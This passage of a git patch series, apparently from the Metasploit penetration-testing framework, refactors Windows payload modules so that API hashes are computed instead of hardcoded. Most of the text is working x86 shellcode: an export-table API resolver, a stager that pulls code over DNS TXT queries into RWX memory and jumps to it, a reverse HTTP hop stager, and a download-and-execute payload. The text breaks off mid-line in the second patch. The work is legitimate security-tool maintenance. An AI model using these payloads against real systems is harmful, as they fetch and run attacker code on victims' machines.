From 3fe1ffb6f35cd898f68ee9311464eb8aeaa307e6 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 29 Oct 2024 06:20:39 -0400 Subject: [PATCH 01/13] fix(payloads): removing hardcoded block-api hashes --- lib/msf/core/payload/windows/exitfunk.rb | 4 +- lib/msf/core/payload/windows/reverse_http.rb | 2 +- .../payload/windows/reverse_named_pipe.rb | 2 +- lib/msf/core/payload/windows/reverse_tcp.rb | 2 +- lib/msf/core/payload/windows/reverse_udp.rb | 2 +- .../core/payload/windows/reverse_win_http.rb | 2 +- .../windows/x64/reverse_named_pipe_x64.rb | 6 +- .../payload/windows/x64/reverse_tcp_x64.rb | 2 +- .../singles/windows/dns_txt_query_exec.rb | 272 ++++-------- .../stagers/windows/reverse_hop_http.rb | 410 +++++++----------- 10 files changed, 267 insertions(+), 437 deletions(-) diff --git a/lib/msf/core/payload/windows/exitfunk.rb b/lib/msf/core/payload/windows/exitfunk.rb index 09148a1ef354..92ae5ca0e4fa 100644 --- a/lib/msf/core/payload/windows/exitfunk.rb +++ b/lib/msf/core/payload/windows/exitfunk.rb @@ -33,13 +33,13 @@ def asm_exitfunk(opts={}) when 'thread' asm << %Q^ mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)} - push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) + push #{Rex::Text.block_api_hash("kernel32.dll", "GetVersion")} ; hash( "kernel32.dll", "GetVersion" ) call ebp ; GetVersion(); (AL will = major version and AH will = minor version) cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7 jl exitfunk_goodbye ; Then just call the exit function... cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... jne exitfunk_goodbye ; - mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread + mov ebx, #{Rex::Text.block_api_hash("ntdll.dll", "RtlExitUserThread")} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread exitfunk_goodbye: ; We now perform the actual call to the exit function push.i8 0 ; push the exit function parameter push ebx ; push the hash of the exit function diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 6978ed74a442..a1155383b566 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -442,7 +442,7 @@ def asm_reverse_http(opts={}) else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call ebp ^ end diff --git a/lib/msf/core/payload/windows/reverse_named_pipe.rb b/lib/msf/core/payload/windows/reverse_named_pipe.rb index e50ecb159f66..9648e71db430 100644 --- a/lib/msf/core/payload/windows/reverse_named_pipe.rb +++ b/lib/msf/core/payload/windows/reverse_named_pipe.rb @@ -147,7 +147,7 @@ def asm_reverse_named_pipe(opts={}) else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call ebp ^ end diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index 4a9e07a74002..19ad38cfe765 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -201,7 +201,7 @@ def asm_reverse_tcp(opts={}) else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call ebp ^ end diff --git a/lib/msf/core/payload/windows/reverse_udp.rb b/lib/msf/core/payload/windows/reverse_udp.rb index 3399e8084bdd..05df86677e02 100644 --- a/lib/msf/core/payload/windows/reverse_udp.rb +++ b/lib/msf/core/payload/windows/reverse_udp.rb @@ -129,7 +129,7 @@ def asm_reverse_udp(opts={}) else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call ebp ^ end diff --git a/lib/msf/core/payload/windows/reverse_win_http.rb b/lib/msf/core/payload/windows/reverse_win_http.rb index 0f00e20e458f..c380376add27 100644 --- a/lib/msf/core/payload/windows/reverse_win_http.rb +++ b/lib/msf/core/payload/windows/reverse_win_http.rb @@ -476,7 +476,7 @@ def asm_reverse_winhttp(opts={}) else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call ebp ^ end diff --git a/lib/msf/core/payload/windows/x64/reverse_named_pipe_x64.rb b/lib/msf/core/payload/windows/x64/reverse_named_pipe_x64.rb index f52fd14ccc86..9309bf7a46fe 100644 --- a/lib/msf/core/payload/windows/x64/reverse_named_pipe_x64.rb +++ b/lib/msf/core/payload/windows/x64/reverse_named_pipe_x64.rb @@ -59,8 +59,8 @@ def generate_reverse_named_pipe(opts={}) and rsp, ~0xF ; Ensure RSP is 16 byte aligned call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} - start: - pop rbp ; block API pointer + start: + pop rbp ; block API pointer #{asm_reverse_named_pipe(opts)} ^ Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string @@ -145,7 +145,7 @@ def asm_reverse_named_pipe(opts={}) else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call rbp ^ end diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp_x64.rb b/lib/msf/core/payload/windows/x64/reverse_tcp_x64.rb index 9b6c5c907169..ce9456fe28f0 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp_x64.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp_x64.rb @@ -173,7 +173,7 @@ def asm_reverse_tcp(opts={}) else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call rbp ^ end diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb index fbd1cdc8f0ce..a70e3fb8ae5a 100644 --- a/modules/payloads/singles/windows/dns_txt_query_exec.rb +++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb @@ -9,6 +9,7 @@ module MetasploitModule include Msf::Payload::Windows include Msf::Payload::Single + include Msf::Payload::Windows::BlockApi def initialize(info = {}) super(merge_info(info, @@ -72,185 +73,98 @@ def generate(_opts = {}) bufferreg = "edi" #create actual payload - payload_data = <Ldr - mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list -next_mod: - mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name -loop_modname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - loop loop_modname ; Loop until we have read enough - ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later - ; Proceed to iterate the export address table, - mov edx, [edx+16] ; Get this modules base address - mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names - add ebx, edx ; Add the modules base address - ; Computing the module hash + function hash -get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - xor edi, edi ; Clear EDI which will store the hash of the function name - ; And compare it to the one we want -loop_funcname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the ASCII function name - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the desired function... -finish: - mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ecx ; Pop off the original return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Push back the correct return value - jmp eax ; Jump into the required function - ; We now automagically return to the correct caller... -get_next_mod: ; - pop eax ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp.i8 next_mod ; Process this module - -; actual routine -start: - pop ebp ; get ptr to block_api routine - -; first allocate some space in heap to hold payload -alloc_space: - xor eax,eax ; clear EAX - push 0x40 ; flProtect (RWX) - mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes) - push eax ; flAllocationType MEM_COMMIT (0x1000) - push eax ; dwSize (0x1000) - push 0x0 ; lpAddress - push 0xE553A458 ; kernel32.dll!VirtualAlloc - call ebp - push eax ; save pointer on stack, will be used in memcpy - mov #{bufferreg}, eax ; save pointer, to jump to at the end - - -;load dnsapi.dll -load_dnsapi: - xor eax,eax ; put part of string (hex) in eax - mov al,0x70 - mov ah,0x69 - push eax ; Push 'dnsapi' to the stack - push 0x61736e64 ; ... - push esp ; Push a pointer to the 'dnsapi' string on the stack. - push 0x0726774C ; kernel32.dll!LoadLibraryA - call ebp ; LoadLibraryA( "dnsapi" ) - -;prepare for loop of queries - mov bl,0x61 ; first query, start with 'a' - -dnsquery: - jmp.i8 get_dnsname ; get dnsname - -get_dnsname_return: - pop eax ; get ptr to dnsname (lpstrName) - mov [eax],bl ; patch sequence number in place - xchg esi,ebx ; save sequence number - push esp ; prepare ppQueryResultsSet - pop ebx ; (put ptr to ptr to stack on stack) - sub ebx,4 - push ebx - push 0x0 ; pReserved - push ebx ; ppQueryResultsSet - push 0x0 ; pExtra - push #{queryoptions} ; Options - push #{wType} ; wType - push eax ; lpstrName - push 0xC99CC96A ; dnsapi.dll!DnsQuery_A - call ebp ; - test eax, eax ; query ok ? - jnz jump_to_payload ; no, jump to payload - jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it - - -get_dnsname: - call get_dnsname_return - db "a.#{dnsname}", 0x00 - -get_query_result: - xchg #{bufferreg},edx ; save start of heap - pop #{bufferreg} ; heap structure containing DNS results - mov eax,[#{bufferreg}+0x18] ; check if value at offset 0x18 is 0x1 - cmp eax,1 - jne prepare_payload ; jmp to payload - add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply - mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply - -copy_piece_to_heap: - xchg ebx,esi ; save counter - mov esi,edi ; set source - mov edi,[esp+0x8] ; retrieve heap destination for memcpy - xor ecx,ecx ; clear ecx - mov cl,0xff ; always copy 255 bytes, no matter what - rep movsb ; copy from ESI to EDI - push edi ; save target for next copy - push edi ; 2 more times to make sure it's at esp+8 - push edi ; - inc ebx ; increment sequence - xchg #{bufferreg},edx ; restore start of heap - jmp.i8 dnsquery ; try to get the next piece, if any - -prepare_payload: - mov #{bufferreg},edx - -jump_to_payload: - jmp #{bufferreg} ; jump to it - - - -EOS + payload_data = %Q^ + cld ; clear direction flag + call start ; start main routine + #{asm_block_api} + ; actual routine + start: + pop ebp ; get ptr to block_api routine + + ; first allocate some space in heap to hold payload + alloc_space: + xor eax,eax ; clear EAX + push 0x40 ; flProtect (RWX) + mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes) + push eax ; flAllocationType MEM_COMMIT (0x1000) + push eax ; dwSize (0x1000) + push 0x0 ; lpAddress + push #{Rex::Text.hash("kernel32.dll", "VirtualAlloc")} ; kernel32.dll!VirtualAlloc + call ebp + push eax ; save pointer on stack, will be used in memcpy + mov #{bufferreg}, eax ; save pointer, to jump to at the end + + + ;load dnsapi.dll + load_dnsapi: + xor eax,eax ; put part of string (hex) in eax + mov al,0x70 + mov ah,0x69 + push eax ; Push 'dnsapi' to the stack + push 0x61736e64 ; ... + push esp ; Push a pointer to the 'dnsapi' string on the stack. + push #{Rex::Text.hash("kernel32.dll", "LoadLibraryA")} ; kernel32.dll!LoadLibraryA + call ebp ; LoadLibraryA( "dnsapi" ) + + ;prepare for loop of queries + mov bl,0x61 ; first query, start with 'a' + + dnsquery: + jmp.i8 get_dnsname ; get dnsname + + get_dnsname_return: + pop eax ; get ptr to dnsname (lpstrName) + mov [eax],bl ; patch sequence number in place + xchg esi,ebx ; save sequence number + push esp ; prepare ppQueryResultsSet + pop ebx ; (put ptr to ptr to stack on stack) + sub ebx,4 + push ebx + push 0x0 ; pReserved + push ebx ; ppQueryResultsSet + push 0x0 ; pExtra + push #{queryoptions} ; Options + push #{wType} ; wType + push eax ; lpstrName + push #{Rex::Text.hash("dnsapi.dll", "DnsQuery_A")} ; dnsapi.dll!DnsQuery_A + call ebp ; + test eax, eax ; query ok ? + jnz jump_to_payload ; no, jump to payload + jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it + + get_dnsname: + call get_dnsname_return + db "a.#{dnsname}", 0x00 + + get_query_result: + xchg #{bufferreg},edx ; save start of heap + pop #{bufferreg} ; heap structure containing DNS results + mov eax,[#{bufferreg}+0x18] ; check if value at offset 0x18 is 0x1 + cmp eax,1 + jne prepare_payload ; jmp to payload + add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply + mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply + + copy_piece_to_heap: + xchg ebx,esi ; save counter + mov esi,edi ; set source + mov edi,[esp+0x8] ; retrieve heap destination for memcpy + xor ecx,ecx ; clear ecx + mov cl,0xff ; always copy 255 bytes, no matter what + rep movsb ; copy from ESI to EDI + push edi ; save target for next copy + push edi ; 2 more times to make sure it's at esp+8 + push edi ; + inc ebx ; increment sequence + xchg #{bufferreg},edx ; restore start of heap + jmp.i8 dnsquery ; try to get the next piece, if any + + prepare_payload: + mov #{bufferreg},edx + + jump_to_payload: + jmp #{bufferreg} ; jump to it +^ self.assembly = payload_data super end diff --git a/modules/payloads/stagers/windows/reverse_hop_http.rb b/modules/payloads/stagers/windows/reverse_hop_http.rb index 14c0274e6b68..70ce8a5584bc 100644 --- a/modules/payloads/stagers/windows/reverse_hop_http.rb +++ b/modules/payloads/stagers/windows/reverse_hop_http.rb @@ -11,6 +11,7 @@ module MetasploitModule include Msf::Payload::Stager include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi def initialize(info = {}) super(merge_info(info, @@ -62,146 +63,63 @@ def transport_config(opts={}) def generate(_opts = {}) uri = URI(datastore['HOPURL']) #create actual payload - payload_data = <Ldr - mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list -next_mod: - mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name -loop_modname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - loop loop_modname ; Loop until we have read enough - ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later - ; Proceed to iterate the export address table, - mov edx, [edx+16] ; Get this modules base address - mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names - add ebx, edx ; Add the modules base address - ; Computing the module hash + function hash -get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards) process next mod - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - xor edi, edi ; Clear EDI which will store the hash of the function name - ; And compare it to the one we want -loop_funcname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the ASCII function name - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the desired function... -finish: - mov [esp+36], eax ; Overwrite the old EAX value with the desired api address - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore all of the callers registers, bar EAX, ECX and EDX - pop ecx ; Pop off the original return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Push back the correct return value - jmp eax ; Jump into the required function - ; We now automagically return to the correct caller... -get_next_mod: ; - pop eax ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp.i8 next_mod ; Process this module - -; actual routine -start: - pop ebp ; get ptr to block_api routine - -; Input: EBP must be the address of 'api_call'. -; Output: EDI will be the socket for the connection to the server -; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) -load_wininet: - push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. - push 0x696e6977 ; ... - push esp ; Push a pointer to the "wininet" string on the stack. - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) - call ebp ; LoadLibraryA( "wininet" ) - -internetopen: - xor edi,edi - push edi ; DWORD dwFlags - push edi ; LPCTSTR lpszProxyBypass - push edi ; LPCTSTR lpszProxyName - push edi ; DWORD dwAccessType (PRECONFIG = 0) - push 0 ; NULL pointer - push esp ; LPCTSTR lpszAgent ("\x00") - push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) - call ebp - - jmp.i8 dbl_get_server_host - -internetconnect: - pop ebx ; Save the hostname pointer - xor ecx, ecx - push ecx ; DWORD_PTR dwContext (NULL) - push ecx ; dwFlags - push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) - push ecx ; password - push ecx ; username - push #{uri.port} ; PORT - push ebx ; HOSTNAME - push eax ; HINTERNET hInternet - push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) - call ebp - - jmp get_server_uri - -httpopenrequest: - pop ecx - xor edx, edx ; NULL - push edx ; dwContext (NULL) -EOS + payload_data = %Q^ + cld ; clear direction flag + call start ; start main routine + #{asm_block_api} + ; actual routine + start: + pop ebp ; get ptr to block_api routine + + ; Input: EBP must be the address of 'api_call'. + ; Output: EDI will be the socket for the connection to the server + ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) + load_wininet: + push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. + push 0x696e6977 ; ... + push esp ; Push a pointer to the "wininet" string on the stack. + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "wininet" ) + + internetopen: + xor edi,edi + push edi ; DWORD dwFlags + push edi ; LPCTSTR lpszProxyBypass + push edi ; LPCTSTR lpszProxyName + push edi ; DWORD dwAccessType (PRECONFIG = 0) + push 0 ; NULL pointer + push esp ; LPCTSTR lpszAgent ("\x00") + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} ; hash( "wininet.dll", "InternetOpenA" ) + call ebp + + jmp.i8 dbl_get_server_host + + internetconnect: + pop ebx ; Save the hostname pointer + xor ecx, ecx + push ecx ; DWORD_PTR dwContext (NULL) + push ecx ; dwFlags + push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) + push ecx ; password + push ecx ; username + push #{uri.port} ; PORT + push ebx ; HOSTNAME + push eax ; HINTERNET hInternet + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')} ; hash( "wininet.dll", "InternetConnectA" ) + call ebp + + jmp get_server_uri + + httpopenrequest: + pop ecx + xor edx, edx ; NULL + push edx ; dwContext (NULL) + ^ if uri.scheme == 'http' - payload_data << ' push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags' + payload_data << ' push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags' else - payload_data << ' push (0x80000000 | 0x00800000 | 0x00001000 | 0x00002000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags' + payload_data << ' push (0x80000000 | 0x00800000 | 0x00001000 | 0x00002000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags' end # 0x80000000 | ; INTERNET_FLAG_RELOAD # 0x00800000 | ; INTERNET_FLAG_SECURE @@ -212,117 +130,115 @@ def generate(_opts = {}) # 0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT # 0x00000200 | ; INTERNET_FLAG_NO_UI # 0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION - payload_data << < Date: Wed, 20 Nov 2024 11:47:49 -0500 Subject: [PATCH 02/13] fix(payloads): removing hardcoded block-api hashes --- lib/msf/core/payload/windows.rb | 10 +- .../payloads/singles/windows/download_exec.rb | 444 +++++++----------- 2 files changed, 185 insertions(+), 269 deletions(-) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index a74990acd12c..2ae1b7ccb530 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -21,15 +21,15 @@ module Msf::Payload::Windows # # ROR hash associations for some of the exit technique routines. - # + @@exit_types = { nil => 0, # Default to nothing '' => 0, # Default to nothing - 'seh' => 0xEA320EFE, # SetUnhandledExceptionFilter - 'thread' => 0x0A2A1DE0, # ExitThread - 'process' => 0x56A2B5F0, # ExitProcess - 'none' => 0x5DE2C5AA # GetLastError + 'seh' => Rex::Text.block_api_hash("kernel32.dll", "SetUnhandledExceptionFilter").to_i(16), # SetUnhandledExceptionFilter + 'thread' => Rex::Text.block_api_hash("kernel32.dll", "ExitThread").to_i(16), # ExitThread + 'process' => Rex::Text.block_api_hash("kernel32.dll", "ExitProcess").to_i(16), # ExitProcess + 'none' => Rex::Text.block_api_hash("kernel32.dll", "GetLastError").to_i(16) # GetLastError } # diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb index b3dbb2f2896b..dbfe314900e0 100644 --- a/modules/payloads/singles/windows/download_exec.rb +++ b/modules/payloads/singles/windows/download_exec.rb @@ -9,7 +9,7 @@ module MetasploitModule include Msf::Payload::Windows include Msf::Payload::Single - + include Msf::Payload::Windows::BlockApi def initialize(info = {}) super(merge_info(info, 'Name' => 'Windows Executable Download (http,https,ftp) and Execute', @@ -49,8 +49,8 @@ def generate(_opts = {}) #;0x00000200 ; INTERNET_FLAG_NO_UI" exitfuncs = { - "PROCESS" => 0x56A2B5F0, #kernel32.dll!ExitProcess - "THREAD" => 0x0A2A1DE0, #kernel32.dll!ExitThread + "THREAD" => Rex::Text.block_api_hash("kernel32.dll", "ExitThread").to_i(16), # ExitThread + "PROCESS" => Rex::Text.block_api_hash("kernel32.dll", "ExitProcess").to_i(16), # ExitProcess "SEH" => 0x00000000, #we don't care "NONE" => 0x00000000 #we don't care } @@ -124,267 +124,183 @@ def generate(_opts = {}) # get protocol specific stuff #create actual payload - payload_data = <Ldr - mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list -next_mod: - mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name -loop_modname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - loop loop_modname ; Loop until we have read enough - ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later - ; Proceed to iterate the export address table, - mov edx, [edx+16] ; Get this modules base address - mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names - add ebx, edx ; Add the modules base address - ; Computing the module hash + function hash -get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - xor edi, edi ; Clear EDI which will store the hash of the function name - ; And compare it to the one we want -loop_funcname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the ASCII function name - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the desired function... -finish: - mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ecx ; Pop off the original return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Push back the correct return value - jmp eax ; Jump into the required function - ; We now automagically return to the correct caller... -get_next_mod: ; - pop eax ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp.i8 next_mod ; Process this module - -; actual routine -start: - pop ebp ; get ptr to block_api routine -; based on HDM's block_reverse_https.asm -load_wininet: - push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. - push 0x696e6977 ; ... - mov esi, esp ; Save a pointer to wininet - push esp ; Push a pointer to the "wininet" string on the stack. - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) - call ebp ; LoadLibraryA( "wininet" ) - -internetopen: - xor edi,edi - push edi ; DWORD dwFlags - push edi ; LPCTSTR lpszProxyBypass - push edi ; LPCTSTR lpszProxyName - push edi ; DWORD dwAccessType (PRECONFIG = 0) - push esi ; LPCTSTR lpszAgent ("wininet\x00") - push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) - call ebp - - jmp.i8 dbl_get_server_host - -internetconnect: - pop ebx ; Save the hostname pointer - xor ecx, ecx - push ecx ; DWORD_PTR dwContext (NULL) - push ecx ; dwFlags - push #{protoflags[proto]} ; DWORD dwService (INTERNET_SERVICE_HTTP or INTERNET_SERVICE_FTP) - push ecx ; password - push ecx ; username - push #{port_nr} ; PORT - push ebx ; HOSTNAME - push eax ; HINTERNET hInternet - push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) - call ebp - - jmp.i8 get_server_uri - -httpopenrequest: - pop ecx - xor edx, edx ; NULL - push edx ; dwContext (NULL) - #{dwflags_asm} ; dwFlags - push edx ; accept types - push edx ; referrer - push edx ; version - push ecx ; url - push edx ; method - push eax ; hConnection - push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) - call ebp - mov esi, eax ; hHttpRequest - -set_retry: - push 0x10 - pop ebx - -; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof 